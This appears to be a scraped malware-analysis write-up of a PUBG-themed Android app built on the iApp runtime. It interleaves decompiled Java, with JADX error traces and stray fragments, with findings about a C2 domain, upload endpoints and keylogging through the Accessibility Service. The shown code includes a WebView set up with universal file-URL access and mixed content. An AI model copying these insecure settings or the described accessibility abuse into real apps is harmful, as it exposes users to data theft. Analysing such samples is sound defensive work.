public static void saveImageToGallery(Context context, File file) throws FileNotFoundException { try { MediaStore.Images.Media.insertImage(context.getContentResolver(), file.getAbsolutePath(), file.getName(), (String) null); } catch (FileNotFoundException e2) { e2.printStackTrace(); } Intent intent = new Intent(); intent.setAction("android.intent.action.MEDIA_SCANNER_SCAN_FILE"); intent.setData(c.b.a.a.m.b(context, file)); context.sendBroadcast(intent); }
/* JADX INFO: Access modifiers changed from: private */ public boolean t(WebView webView, String str, String str2, JsResult jsResult) { new AlertDialog.Builder(webView.getContext()).setTitle("提示").setMessage(str2).setPositiveButton(R.string.ok, new j(this, jsResult)).setOnCancelListener(new i(this, jsResult)).create().show(); return true; }
/* JADX INFO: Access modifiers changed from: private */ public boolean u(WebView webView, String str, String str2, JsResult jsResult) { new AlertDialog.Builder(webView.getContext()).setTitle("提示").setMessage(str2).setPositiveButton("确定", new m(this, jsResult)).setNegativeButton("取消", new l(this, jsResult)).setOnCancelListener(new k(this, jsResult)).create().show(); return true; }
/* JADX INFO: Access modifiers changed from: private */ public boolean v(WebView webView, String str, String str2, String str3, JsPromptResult jsPromptResult) { EditText editText = new EditText(webView.getContext()); editText.setText(str3); new AlertDialog.Builder(webView.getContext()).setTitle(str2).setView(editText).setPositiveButton("确定", new c(this, jsPromptResult, editText)).setNegativeButton("取消", new b(this, jsPromptResult)).setOnCancelListener(new n(this, jsPromptResult)).create().show(); return true; }
(11) private void w(WebView webView) { if (Build.VERSION.SDK_INT >= 11) { webView.removeJavascriptInterface("searchBoxJavaBridge_"); webView.removeJavascriptInterface("accessibility"); webView.removeJavascriptInterface("accessibilityTraversal"); } }
public void loadurl(WebView webView, String str) { this.e.startAnimation(this.f1932d); this.e.setVisibility(0); webView.loadUrl(str); }
// androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activity ({"NewApi"}) protected void onActivityResult(int i2, int i3, Intent intent) { super.onActivityResult(i2, i3, intent); Uri data = (intent == null || i3 != -1) ? null : intent.getData(); try { ValueCallback<Uri> valueCallback = this.k; if (valueCallback != null) { valueCallback.onReceiveValue(data); } else { ValueCallback<Uri[]> valueCallback2 = this.l; if (valueCallback2 != null) { valueCallback2.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(i3, intent)); } } } catch (Exception e2) { e2.printStackTrace(); } this.k = null; this.l = null; }
// androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity ({"SetJavaScriptEnabled"}) (16) public void onCreate(Bundle bundle) { super.onCreate(bundle); Bundle extras = getIntent().getExtras(); this.a = extras.getString("WebURL"); setContentView(2131427454); Toolbar toolbar = (Toolbar) findViewById(2131231177); this.f = toolbar; setSupportActionBar(toolbar); String string = extras.getString("background"); String string2 = extras.getString("backgroundShadow"); if (string != null && string2 != null) { this.f.setBackgroundColor(Color.parseColor(string)); c.b.a.a.t.c(this, Color.parseColor(string2), true, findViewById(2131231174)); } ActionBar supportActionBar = getSupportActionBar(); supportActionBar.setHomeButtonEnabled(true); supportActionBar.setDisplayShowHomeEnabled(true); supportActionBar.setDisplayHomeAsUpEnabled(true); this.f.setNavigationOnClickListener(new f()); this.e = (ImageView) findViewById(2131231176); RotateAnimation rotateAnimation = new RotateAnimation(0.0f, 350.0f, 1, 0.5f, 1, 0.5f); this.f1932d = rotateAnimation; rotateAnimation.setDuration(1000L); this.f1932d.setRepeatCount(100); this.e.startAnimation(this.f1932d); WebView webView = (WebView) findViewById(2131231175); this.b = webView; int i2 = Build.VERSION.SDK_INT; if (i2 >= 21) { webView.getSettings().setMixedContentMode(0); } this.b.getSettings().setAllowFileAccess(true); this.b.getSettings().setJavaScriptEnabled(true); this.b.getSettings().setAppCacheEnabled(true); this.b.getSettings().setAppCachePath(getApplicationContext().getDir("cache", 0).getPath()); this.b.getSettings().setAppCacheMaxSize(8388608L); this.b.getSettings().setDatabaseEnabled(true); this.b.getSettings().setDatabasePath(getApplicationContext().getDir("database", 0).getPath()); this.b.getSettings().setDomStorageEnabled(true); this.b.getSettings().setGeolocationEnabled(true); this.b.getSettings().setLightTouchEnabled(true); this.b.getSettings().setCacheMode(-1); this.b.getSettings().setPluginState(WebSettings.PluginState.ON); this.b.getSettings().setSupportZoom(true); this.b.getSettings().setBuiltInZoomControls(true); this.b.getSettings().setUseWideViewPort(true); this.b.getSettings().setLoadWithOverviewMode(true); if (i2 >= 16) { this.b.getSettings().setAllowUniversalAccessFromFileURLs(true); this.b.getSettings().setAllowFileAccessFromFileURLs(true); } this.b.setScrollBarStyle(0); this.b.loadUrl(this.a); this.b.setDownloadListener(new a()); this.b.setWebChromeClient(new g()); this.b.setWebViewClient(new h()); w(this.b); }
// android.app.Activity public boolean onCreateOptionsMenu(Menu menu) { menu.add(0, 0, 0, "后退"); menu.add(0, 1, 1, "前进"); menu.add(0, 2, 2, "刷新"); menu.add(0, 3, 3, "下载"); menu.add(0, 4, 4, "默认浏览器打开"); menu.add(0, 5, 5, "关闭"); return super.onCreateOptionsMenu(menu); }
// androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, android.app.Activity protected void onDestroy() { super.onDestroy(); this.f1932d.cancel(); this.f1932d = null; this.e.clearAnimation(); }
// androidx.appcompat.app.AppCompatActivity, android.app.Activity, android.view.KeyEvent.Callback public boolean onKeyDown(int i2, KeyEvent keyEvent) { if (i2 != 4) { return i2 == 82; } if (this.g != null) { onHideCustomViewX(); return true; } if (keyEvent.getRepeatCount() == 0) { if (this.b.canGoBack()) { this.b.goBack(); } else { finish(); } } return true; }
// android.app.Activity public boolean onOptionsItemSelected(MenuItem menuItem) { int itemId = menuItem.getItemId(); if (itemId == 0) { this.b.goBack(); } else if (itemId == 1) { this.b.goForward(); } else if (itemId == 2) { WebView webView = this.b; loadurl(webView, webView.getUrl()); } else if (itemId == 3) { Bundle extras = getIntent().getExtras(); String string = extras.getString("background"); String string2 = extras.getString("backgroundShadow"); if (string == null || string2 == null) { startActivity(new Intent().setClass(this, DownList.class)); } else { Intent intent = new Intent(this, (Class<?>) DownList.class); Bundle bundle = new Bundle(); bundle.putString("background", string); bundle.putString("backgroundShadow", string2); intent.putExtras(bundle); startActivity(intent); } } else if (itemId == 4) { r(this.b.getUrl()); } else if (itemId == 5) { finish(); } return true; }
public void synCookies(Context context, String str, String str2) { CookieSyncManager.createInstance(context); CookieManager cookieManager = CookieManager.getInstance(); cookieManager.setAcceptCookie(true); cookieManager.removeSessionCookie(); cookieManager.setCookie(str, str2); CookieSyncManager.getInstance().sync(); }}lib.so)Based on string extraction from the native engine, the decrypted lib.so is a container for the iApp (iyu) source code, including:
mian.iyu: The primary malicious controller.
ays_service.myu: An Accessibility Service exploit used to capture keystrokes, SMS, and UI interactions.
upload.lua: A Lua-based script for managing the exfiltration of stolen data to the C2 server.
Domain: bu84.com
URL Path: /config.php, /upload.php
| File/Directory Path | Classification |
|---|---|
assets/lib.so | Encrypted Malicious Payload |
lib/arm64-v8a/libygsiyu.so | Native Decryption Engine (YGS-Packer) |
/data/data/[pkg]/files/_RunDex_/ | Working directory for decrypted DEX |
[ExternalStorage]/.../log.txt | Malware Execution Log |
The presence of ays_service.myu indicates the use of the Android Accessibility Suite as a primary attack vector.
UI Scripting: The malware prompts the user to enable "Optimization Features" for PUBG. Once granted, the ays_service gains the ability to "read" the window content of other apps.
Keylogging: By intercepting AccessibilityEvent types (such as TYPE_VIEW_TEXT_CHANGED), the malware captures keystrokes in banking apps, social media, and private messengers.
Automatic Permission Granting: The native Lua engine can programmatically click "Allow" on system permission dialogs that pop up in the background, effectively self-escalating its own privileges.
xxxxxxxxxxpackage com.iapp.app.run;
import android.annotation.SuppressLint;import android.annotation.TargetApi;import android.app.Activity;import android.content.Context;import android.content.Intent;import android.content.res.Configuration;import android.hardware.Sensor;import android.hardware.SensorEvent;import android.hardware.SensorEventListener;import android.hardware.SensorManager;import android.net.Uri;import android.os.Build;import android.os.Bundle;import android.view.ContextMenu;import android.view.GestureDetector;import android.view.KeyEvent;import android.view.Menu;import android.view.MenuItem;import android.view.MotionEvent;import android.view.View;import android.view.ViewGroup;import android.view.Window;import android.webkit.ValueCallback;import android.webkit.WebChromeClient;import android.widget.AbsListView;import android.widget.AdapterView;import android.widget.CompoundButton;import android.widget.FrameLayout;import android.widget.LinearLayout;import android.widget.SeekBar;import android.widget.TextView;import androidx.annotation.NonNull;import androidx.core.app.NotificationCompat;import androidx.core.view.ViewCompat;import androidx.drawerlayout.widget.DrawerLayout;import androidx.recyclerview.widget.LinearLayoutManager;import androidx.recyclerview.widget.RecyclerView;import androidx.recyclerview.widget.StaggeredGridLayoutManager;import androidx.swiperefreshlayout.widget.SwipeRefreshLayout;import androidx.viewpager.widget.ViewPager;import c.b.a.a.w;import com.google.android.material.appbar.AppBarLayout;import com.google.android.material.tabs.TabLayout;import com.iapp.app.Aid_luaCode;import com.iapp.app.x5.WebView;import fr.castorflex.android.verticalviewpager.VerticalViewPager;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.HashMap;import org.keplerproject.luajava.LuaException;
({"UseSparseArrays"})/* loaded from: /home/pana/dev/jadx-1.5.3/20260120_source_apk/classes.dex */public class main extends iActivity {
/* renamed from: c, reason: collision with root package name */ private LinearLayout f1962c; public WebChromeClient.CustomViewCallback customViewCallback; public FrameLayout fullscreenContainer; private Aid_luaCode k; public com.iapp.app.d luaj; public int originalSystemUiVisibility;
/* renamed from: d, reason: collision with root package name */ private HashMap<String, Object> f1963d = new HashMap<>(); private String[] e = null; private c.c.a.b f = new c.c.a.b(this); private String g = null; public String r = null; private SensorEventListener h = null;
/* renamed from: i, reason: collision with root package name */ private SensorManager f1964i = null; private Sensor j = null; private String l = "require 'import'\n"; private boolean m = false; private boolean n = false; private boolean o = false; private boolean p = false; private boolean q = false; private boolean s = false; private boolean t = false; private boolean u = false; private boolean v = false; private boolean w = false; private boolean x = false; private boolean y = false; private boolean z = false; private boolean A = false; private boolean B = false; private boolean C = false;
class a implements AbsListView.OnScrollListener { final /* synthetic */ boolean a; final /* synthetic */ boolean b;
a(boolean z, boolean z2) { this.a = z; this.b = z2; }
// android.widget.AbsListView.OnScrollListener public void onScroll(AbsListView absListView, int i2, int i3, int i4) { if (this.b) { int id = absListView.getId(); main.this.luaj.d("onscroll" + id, Integer.valueOf(id), absListView, Integer.valueOf(i2), Integer.valueOf(i3), Integer.valueOf(i4)); } }
// android.widget.AbsListView.OnScrollListener public void onScrollStateChanged(AbsListView absListView, int i2) { if (this.a) { int id = absListView.getId(); main.this.luaj.d("onscrollstatechanged" + id, Integer.valueOf(id), absListView, Integer.valueOf(i2)); } } }
class b implements AdapterView.OnItemClickListener { b() { }
// android.widget.AdapterView.OnItemClickListener public void onItemClick(AdapterView<?> adapterView, View view, int i2, long j) { int id = adapterView.getId(); main.this.luaj.d("clickitem" + id, Integer.valueOf(id), adapterView, Integer.valueOf(i2), Long.valueOf(j), view); } }
class c implements AdapterView.OnItemSelectedListener { final /* synthetic */ boolean a; final /* synthetic */ boolean b;
c(boolean z, boolean z2) { this.a = z; this.b = z2; }
// android.widget.AdapterView.OnItemSelectedListener public void onItemSelected(AdapterView<?> adapterView, View view, int i2, long j) { if (this.a) { int id = adapterView.getId(); main.this.luaj.d("onitemselected" + id, Integer.valueOf(id), adapterView, view, Integer.valueOf(i2), Long.valueOf(j)); } }
// android.widget.AdapterView.OnItemSelectedListener public void onNothingSelected(AdapterView<?> adapterView) { if (this.b) { int id = adapterView.getId(); main.this.luaj.d("onnothingselected" + id, Integer.valueOf(id), adapterView); } } }
class d implements SeekBar.OnSeekBarChangeListener { final /* synthetic */ boolean a; final /* synthetic */ boolean b;
/* renamed from: c, reason: collision with root package name */ final /* synthetic */ boolean f1967c;
d(boolean z, boolean z2, boolean z3) { this.a = z; this.b = z2; this.f1967c = z3; }
// android.widget.SeekBar.OnSeekBarChangeListener public void onProgressChanged(SeekBar seekBar, int i2, boolean z) { if (this.f1967c) { int id = seekBar.getId(); main.this.luaj.d("onprogresschanged2" + id, Integer.valueOf(id), seekBar, Integer.valueOf(i2), Boolean.valueOf(z)); } }
// android.widget.SeekBar.OnSeekBarChangeListener public void onStartTrackingTouch(SeekBar seekBar) { if (this.b) { int id = seekBar.getId(); main.this.luaj.d("onstarttrackingtouch" + id, Integer.valueOf(id), seekBar); } }
// android.widget.SeekBar.OnSeekBarChangeListener public void onStopTrackingTouch(SeekBar seekBar) { if (this.a) { int id = seekBar.getId(); main.this.luaj.d("onstoptrackingtouch" + id, Integer.valueOf(id), seekBar); } } }
class e implements TabLayout.OnTabSelectedListener { final /* synthetic */ boolean a; final /* synthetic */ View b;
/* renamed from: c, reason: collision with root package name */ final /* synthetic */ boolean f1969c;
/* renamed from: d, reason: collision with root package name */ final /* synthetic */ boolean f1970d;
e(boolean z, View view, boolean z2, boolean z3) { this.a = z; this.b = view; this.f1969c = z2; this.f1970d = z3; }
// com.google.android.material.tabs.TabLayout.BaseOnTabSelectedListener public void onTabReselected(TabLayout.Tab tab) { if (this.f1970d) { int id = this.b.getId(); main.this.luaj.d("ontabreselected" + id, Integer.valueOf(id), this.b, Integer.valueOf(tab.getPosition()), String.valueOf(tab.getText()), tab); } }
// com.google.android.material.tabs.TabLayout.BaseOnTabSelectedListener public void onTabSelected(TabLayout.Tab tab) { if (this.a) { int id = this.b.getId(); main.this.luaj.d("ontabselected" + id, Integer.valueOf(id), this.b, Integer.valueOf(tab.getPosition()), String.valueOf(tab.getText()), tab); } }
// com.google.android.material.tabs.TabLayout.BaseOnTabSelectedListener public void onTabUnselected(TabLayout.Tab tab) { if (this.f1969c) { int id = this.b.getId(); main.this.luaj.d("ontabunselected" + id, Integer.valueOf(id), this.b, Integer.valueOf(tab.getPosition()), String.valueOf(tab.getText()), tab); } } }
class f extends RecyclerView.OnScrollListener { final /* synthetic */ boolean a; final /* synthetic */ boolean b;
f(boolean z, boolean z2) { this.a = z; this.b = z2; }
// androidx.recyclerview.widget.RecyclerView.OnScrollListener public void onScrollStateChanged(RecyclerView recyclerView, int i2) { if (this.a) { int id = recyclerView.getId(); main.this.luaj.d("onscrollstatechanged" + id, Integer.valueOf(id), recyclerView, Integer.valueOf(i2)); } }
// androidx.recyclerview.widget.RecyclerView.OnScrollListener public void onScrolled(RecyclerView recyclerView, int i2, int i3) { if (this.b) { RecyclerView.LayoutManager layoutManager = recyclerView.getLayoutManager(); int childCount = layoutManager.getChildCount(); int itemCount = layoutManager.getItemCount(); int iFindFirstVisibleItemPosition = -1; boolean z = false; if (layoutManager instanceof LinearLayoutManager) { iFindFirstVisibleItemPosition = ((LinearLayoutManager) layoutManager).findFirstVisibleItemPosition(); } else if (layoutManager instanceof StaggeredGridLayoutManager) { StaggeredGridLayoutManager staggeredGridLayoutManager = (StaggeredGridLayoutManager) layoutManager; if (staggeredGridLayoutManager.getSpanCount() > 0) { iFindFirstVisibleItemPosition = staggeredGridLayoutManager.findFirstVisibleItemPositions(null)[0]; } } int id = recyclerView.getId(); com.iapp.app.d dVar = main.this.luaj; String str = "onscrolled" + id; Object[] objArr = new Object[8]; objArr[0] = Integer.valueOf(id); objArr[1] = recyclerView; objArr[2] = Integer.valueOf(iFindFirstVisibleItemPosition); objArr[3] = Integer.valueOf(childCount); objArr[4] = Integer.valueOf(itemCount); objArr[5] = Integer.valueOf(i2); objArr[6] = Integer.valueOf(i3); if (i3 > 0 && childCount + iFindFirstVisibleItemPosition >= itemCount) { z = true; } objArr[7] = Boolean.valueOf(z); dVar.d(str, objArr); } } }
class g extends GestureDetector.SimpleOnGestureListener { final /* synthetic */ boolean a; final /* synthetic */ View b;
g(boolean z, View view) { this.a = z; this.b = view; }
// android.view.GestureDetector.SimpleOnGestureListener, android.view.GestureDetector.OnGestureListener public void onLongPress(MotionEvent motionEvent) { RecyclerView recyclerView; View viewFindChildViewUnder; if (!this.a || (viewFindChildViewUnder = (recyclerView = (RecyclerView) this.b).findChildViewUnder(motionEvent.getX(), motionEvent.getY())) == null) { return; } int id = recyclerView.getId(); main.this.luaj.d("clickitem" + id, Integer.valueOf(id), recyclerView, Integer.valueOf(recyclerView.getChildLayoutPosition(viewFindChildViewUnder)), viewFindChildViewUnder); }
// android.view.GestureDetector.SimpleOnGestureListener, android.view.GestureDetector.OnGestureListener public boolean onSingleTapUp(MotionEvent motionEvent) { RecyclerView recyclerView; View viewFindChildViewUnder; if (!this.a || (viewFindChildViewUnder = (recyclerView = (RecyclerView) this.b).findChildViewUnder(motionEvent.getX(), motionEvent.getY())) == null) { return false; } int id = recyclerView.getId(); main.this.luaj.d("clickitem" + id, Integer.valueOf(id), recyclerView, Integer.valueOf(recyclerView.getChildLayoutPosition(viewFindChildViewUnder)), viewFindChildViewUnder); return true; } }
class h implements RecyclerView.OnItemTouchListener { final /* synthetic */ GestureDetector a;
h(main mainVar, GestureDetector gestureDetector) { this.a = gestureDetector; }
// androidx.recyclerview.widget.RecyclerView.OnItemTouchListener public boolean onInterceptTouchEvent(RecyclerView recyclerView, MotionEvent motionEvent) { this.a.onTouchEvent(motionEvent); return false; }
// androidx.recyclerview.widget.RecyclerView.OnItemTouchListener public void onRequestDisallowInterceptTouchEvent(boolean z) { }
// androidx.recyclerview.widget.RecyclerView.OnItemTouchListener public void onTouchEvent(RecyclerView recyclerView, MotionEvent motionEvent) { } }
class i implements ViewPager.OnPageChangeListener { final /* synthetic */ boolean a; final /* synthetic */ View b;
/* renamed from: c, reason: collision with root package name */ final /* synthetic */ boolean f1973c;
/* renamed from: d, reason: collision with root package name */ final /* synthetic */ boolean f1974d;
i(boolean z, View view, boolean z2, boolean z3) { this.a = z; this.b = view; this.f1973c = z2; this.f1974d = z3; }
// androidx.viewpager.widget.ViewPager.OnPageChangeListener public void onPageScrollStateChanged(int i2) { if (this.f1974d) { int id = this.b.getId(); main.this.luaj.d("onpagescrollstatechanged" + id, Integer.valueOf(id), this.b, Integer.valueOf(i2)); } }
// androidx.viewpager.widget.ViewPager.OnPageChangeListener public void onPageScrolled(int i2, float f, int i3) { if (this.f1973c) { int id = this.b.getId(); main.this.luaj.d("onpagescrolled" + id, Integer.valueOf(id), this.b, Integer.valueOf(i2), Float.valueOf(f), Integer.valueOf(i3)); } }
// androidx.viewpager.widget.ViewPager.OnPageChangeListener public void onPageSelected(int i2) { if (this.a) { int id = this.b.getId(); main.this.luaj.d("onpageselected" + id, Integer.valueOf(id), this.b, Integer.valueOf(i2)); } } }
class j implements SwipeRefreshLayout.OnRefreshListener { final /* synthetic */ boolean a; final /* synthetic */ View b;
j(boolean z, View view) { this.a = z; this.b = view; }
// androidx.swiperefreshlayout.widget.SwipeRefreshLayout.OnRefreshListener public void onRefresh() { if (this.a) { int id = this.b.getId(); main.this.luaj.d("onrefresh" + id, Integer.valueOf(id), this.b); } } }
class k implements com.iapp.app.x5.a { k(main mainVar) { }
// android.webkit.DownloadListener public void onDownloadStart(String str, String str2, String str3, String str4, long j) { String lowerCase = str4.toLowerCase(); String strC = str3 != null ? c.b.a.a.r.c(str3, "filename=\"", "\"") : null; if (strC == null) { if (str.contains("?")) { str = str.substring(0, str.indexOf(63)); } strC = c.b.a.a.r.b(str); String lowerCase2 = strC.toLowerCase(); if (lowerCase.equals("application/vnd.android.package-archive") && !lowerCase2.endsWith(".apk")) { strC = strC + ".apk"; } } if (strC != null) { com.iapp.app.a.b.d(str, strC, null); } } }
class l implements CompoundButton.OnCheckedChangeListener { final /* synthetic */ boolean a; final /* synthetic */ View b;
l(boolean z, View view) { this.a = z; this.b = view; }
// android.widget.CompoundButton.OnCheckedChangeListener public void onCheckedChanged(CompoundButton compoundButton, boolean z) { if (this.a) { int id = this.b.getId(); main.this.luaj.d("oncheckedchanged" + id, Integer.valueOf(id), this.b, Boolean.valueOf(z)); } } }
class m implements AppBarLayout.OnOffsetChangedListener { final /* synthetic */ boolean a;
m(boolean z) { this.a = z; }
// com.google.android.material.appbar.AppBarLayout.OnOffsetChangedListener, com.google.android.material.appbar.AppBarLayout.BaseOnOffsetChangedListener public void onOffsetChanged(AppBarLayout appBarLayout, int i2) { if (this.a) { int id = appBarLayout.getId(); main.this.luaj.d("onoffsetchanged" + id, Integer.valueOf(id), appBarLayout, Integer.valueOf(i2)); } } }
class n implements SensorEventListener { n() { }
// android.hardware.SensorEventListener public void onAccuracyChanged(Sensor sensor, int i2) { }
// android.hardware.SensorEventListener public void onSensorChanged(SensorEvent sensorEvent) { main.this.luaj.d("sensor", Float.valueOf(sensorEvent.values[0]), Float.valueOf(sensorEvent.values[1]), Float.valueOf(sensorEvent.values[2])); } }
class o implements View.OnClickListener { o() { }
// android.view.View.OnClickListener public void onClick(View view) { int id = view.getId(); main.this.luaj.d("clicki" + id, Integer.valueOf(id), view); } }
class p implements View.OnTouchListener { p() { }
// android.view.View.OnTouchListener ({"ClickableViewAccessibility"}) public boolean onTouch(View view, MotionEvent motionEvent) { int id = view.getId(); return main.this.luaj.e("touchmonitor" + id, Integer.valueOf(id), view, Integer.valueOf(motionEvent.getAction()), Float.valueOf(motionEvent.getX()), Float.valueOf(motionEvent.getY()), Float.valueOf(motionEvent.getRawX()), Float.valueOf(motionEvent.getRawY())); } }
class q implements View.OnLongClickListener { q() { }
// android.view.View.OnLongClickListener public boolean onLongClick(View view) { int id = view.getId(); return main.this.luaj.e("press" + id, Integer.valueOf(id), view); } }
class r implements View.OnKeyListener { r() { }
// android.view.View.OnKeyListener public boolean onKey(View view, int i2, KeyEvent keyEvent) { int id = view.getId(); return main.this.luaj.e("keyboard" + id, Integer.valueOf(id), view, Integer.valueOf(i2), Integer.valueOf(keyEvent.getAction()), Integer.valueOf(keyEvent.getRepeatCount()), keyEvent); } }
class s implements View.OnCreateContextMenuListener { s() { }
// android.view.View.OnCreateContextMenuListener public void onCreateContextMenu(ContextMenu contextMenu, View view, ContextMenu.ContextMenuInfo contextMenuInfo) { String strC = c.b.a.a.r.c(((Object[]) view.getTag())[2].toString(), "<eventItme type=\"pressmenu\">", "</eventItme>"); contextMenu.setHeaderTitle(c.b.a.a.r.c(strC, "title:", "\n")); int id = view.getId(); String[] strArrSplit = strC.split("\ncase "); for (int i2 = 1; i2 < strArrSplit.length; i2++) { contextMenu.add(id, i2, 0, c.b.a.a.r.c(strArrSplit[i2], null, ":")); } if (c.b.a.a.r.c(strC, "\ndefault:", "\nbreak") != null) { main.this.luaj.d("onCreateContextMenu" + id + "x0", Integer.valueOf(id), view); } } }
class t implements TextView.OnEditorActionListener { t() { }
/* JADX ERROR: ConcurrentModificationException in pass: ConstructorVisitor java.util.ConcurrentModificationException at java.base/java.util.ArrayList$Itr.checkForComodification(ArrayList.java:1096) at java.base/java.util.ArrayList$Itr.next(ArrayList.java:1050) at jadx.core.dex.visitors.ConstructorVisitor.insertPhiInsn(ConstructorVisitor.java:139) at jadx.core.dex.visitors.ConstructorVisitor.processInvoke(ConstructorVisitor.java:91) at jadx.core.dex.visitors.ConstructorVisitor.replaceInvoke(ConstructorVisitor.java:56) at jadx.core.dex.visitors.ConstructorVisitor.visit(ConstructorVisitor.java:42) */ // android.widget.TextView.OnEditorActionListener public boolean onEditorAction( /* JADX ERROR: ConcurrentModificationException in pass: ConstructorVisitor java.util.ConcurrentModificationException at java.base/java.util.ArrayList$Itr.checkForComodification(ArrayList.java:1096) at java.base/java.util.ArrayList$Itr.next(ArrayList.java:1050) at jadx.core.dex.visitors.ConstructorVisitor.insertPhiInsn(ConstructorVisitor.java:139) at jadx.core.dex.visitors.ConstructorVisitor.processInvoke(ConstructorVisitor.java:91) at jadx.core.dex.visitors.ConstructorVisitor.replaceInvoke(ConstructorVisitor.java:56) */ /* JADX ERROR: Method generation error jadx.core.utils.exceptions.JadxRuntimeException: Code variable not set in r13v0 ?? at jadx.core.dex.instructions.args.SSAVar.getCodeVar(SSAVar.java:236) at jadx.core.codegen.MethodGen.addMethodArguments(MethodGen.java:224) at jadx.core.codegen.MethodGen.addDefinition(MethodGen.java:169) at jadx.core.codegen.ClassGen.addMethodCode(ClassGen.java:405) at jadx.core.codegen.ClassGen.addMethod(ClassGen.java:335) at jadx.core.codegen.ClassGen.lambda$addInnerClsAndMethods$3(ClassGen.java:301) at java.base/java.util.stream.ForEachOps$ForEachOp$OfRef.accept(ForEachOps.java:186) at java.base/java.util.ArrayList.forEach(ArrayList.java:1604) at java.base/java.util.stream.SortedOps$RefSortingSink.end(SortedOps.java:395) at java.base/java.util.stream.Sink$ChainedReference.end(Sink.java:261) at java.base/java.util.stream.ReferencePipeline$7$1FlatMap.end(ReferencePipeline.java:284) at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:571) at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:560) at java.base/java.util.stream.ForEachOps$ForEachOp.evaluateSequential(ForEachOps.java:153) at java.base/java.util.stream.ForEachOps$ForEachOp$OfRef.evaluateSequential(ForEachOps.java:176) at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:265) at java.base/java.util.stream.ReferencePipeline.forEach(ReferencePipeline.java:632) at jadx.core.codegen.ClassGen.addInnerClsAndMethods(ClassGen.java:297) at jadx.core.codegen.ClassGen.addClassBody(ClassGen.java:286) at jadx.core.codegen.ClassGen.addClassBody(ClassGen.java:270) at jadx.core.codegen.ClassGen.addClassCode(ClassGen.java:161) at jadx.core.codegen.ClassGen.addInnerClass(ClassGen.java:310) at jadx.core.codegen.ClassGen.lambda$addInnerClsAndMethods$3(ClassGen.java:299) at java.base/java.util.stream.ForEachOps$ForEachOp$OfRef.accept(ForEachOps.java:186) at java.base/java.util.ArrayList.forEach(ArrayList.java:1604) at java.base/java.util.stream.SortedOps$RefSortingSink.end(SortedOps.java:395) at java.base/java.util.stream.Sink$ChainedReference.end(Sink.java:261) at java.base/java.util.stream.ReferencePipeline$7$1FlatMap.end(ReferencePipeline.java:284) at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:571) at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:560) at java.base/java.util.stream.ForEachOps$ForEachOp.evaluateSequential(ForEachOps.java:153) at java.base/java.util.stream.ForEachOps$ForEachOp$OfRef.evaluateSequential(ForEachOps.java:176) at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:265) at java.base/java.util.stream.ReferencePipeline.forEach(ReferencePipeline.java:632) at jadx.core.codegen.ClassGen.addInnerClsAndMethods(ClassGen.java:297) at jadx.core.codegen.ClassGen.addClassBody(ClassGen.java:286) at jadx.core.codegen.ClassGen.addClassBody(ClassGen.java:270) at jadx.core.codegen.ClassGen.addClassCode(ClassGen.java:161) at jadx.core.codegen.ClassGen.makeClass(ClassGen.java:103) at jadx.core.codegen.CodeGen.wrapCodeGen(CodeGen.java:45) at jadx.core.codegen.CodeGen.generateJavaCode(CodeGen.java:34) at jadx.core.codegen.CodeGen.generate(CodeGen.java:22) at jadx.core.ProcessClass.process(ProcessClass.java:79) at jadx.core.ProcessClass.generateCode(ProcessClass.java:117) at jadx.core.dex.nodes.ClassNode.generateClassCode(ClassNode.java:403) at jadx.core.dex.nodes.ClassNode.decompile(ClassNode.java:391) at jadx.core.dex.nodes.ClassNode.getCode(ClassNode.java:341) */ }
class u implements View.OnFocusChangeListener { u() { }
// android.view.View.OnFocusChangeListener public void onFocusChange(View view, boolean z) { int id = view.getId(); main.this.luaj.d("focuschange" + id, Integer.valueOf(id), view, Boolean.valueOf(z)); } }
private void e(View view, int i2, String str) { if (addViewEventItme(str, i2, "clicki", "st_vId,st_vW")) { view.setOnClickListener(new o()); } if (addViewEventItme(str, i2, "touchmonitor", "st_vId,st_vW,st_eA,st_eX,st_eY,st_rX,st_rY")) { view.setOnTouchListener(new p()); } if (addViewEventItme(str, i2, "press", "st_vId,st_vW")) { view.setOnLongClickListener(new q()); } if (addViewEventItme(str, i2, "keyboard", "st_vId,st_vW,st_kC,st_eA,st_eR,st_eT")) { view.setOnKeyListener(new r()); } if (str.contains("<eventItme type=\"pressmenu\">")) { String strC = c.b.a.a.r.c(str, "<eventItme type=\"pressmenu\">", "</eventItme>"); String[] strArrSplit = strC.split("\ncase "); for (int i3 = 1; i3 < strArrSplit.length; i3++) { this.l += "function onCreateContextMenu" + i2 + "x" + i3 + "()\n" + c.b.a.a.r.c(strArrSplit[i3], ":", "\nbreak") + "\nend\n"; } String strC2 = c.b.a.a.r.c(strC, "\ndefault:", "\nbreak"); if (strC2 != null) { this.l += "function onCreateContextMenu" + i2 + "x0(st_vId,st_vW)\n" + strC2 + "\nend\n"; } view.setOnCreateContextMenuListener(new s()); } if (view instanceof TextView) { if (addViewEventItme(str, i2, "editormonitor", "st_vId,st_vW,st_aI,st_eA,st_eR,st_eK,st_eT")) { ((TextView) view).setOnEditorActionListener(new t()); } boolean zAddViewEventItme = addViewEventItme(str, i2, "ontextchanged", "st_vId,st_vW,st_sS,st_sT,st_bE,st_cT"); boolean zAddViewEventItme2 = addViewEventItme(str, i2, "beforetextchanged", "st_vId,st_vW,st_sS,st_sT,st_cT,st_aR"); boolean zAddViewEventItme3 = addViewEventItme(str, i2, "aftertextchanged", "st_vId,st_vW,st_sS"); if (zAddViewEventItme || zAddViewEventItme2 || zAddViewEventItme3) { new com.iapp.app.t((TextView) view, this.luaj, zAddViewEventItme, zAddViewEventItme2, zAddViewEventItme3); } } if (view instanceof WebView) { l((WebView) view, str); } if (addViewEventItme(str, i2, "focuschange", "st_vId,st_vW,st_hF")) { view.setOnFocusChangeListener(new u()); } if (view instanceof AbsListView) { boolean zAddViewEventItme4 = addViewEventItme(str, i2, "onscrollstatechanged", "st_vId,st_vW,st_sE"); boolean zAddViewEventItme5 = addViewEventItme(str, i2, 